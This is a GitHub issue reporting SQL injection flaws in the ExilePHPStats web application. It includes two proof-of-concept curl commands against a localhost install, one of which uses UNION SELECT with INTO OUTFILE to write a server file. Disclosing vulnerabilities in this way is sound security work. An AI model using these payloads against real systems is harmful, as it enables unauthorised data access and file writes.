Skip to content

Multiple SQL injection flaws #2

Description

@wireghoul

There are several cases in this web application where user supplied input is used directly in SQL queries without validation or parameterisation. I didn't look very hard, but here are two of them:

Example 1

$ curl 'http://localhost/vvv/ExilePHPStats/playersearch.php?searchfield=abacbcbca&searchtype=1=0+union+select+@@version+into+outfile+%27/tmp/exwin%27+--+-&server=Tanoa'

Example 2

$ curl -d "limit=500&searchterm=' union select @@version -- -&searchtype=dodgy&server=" http://localhost/vvv/ExilePHPStats/displayLogs.php

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions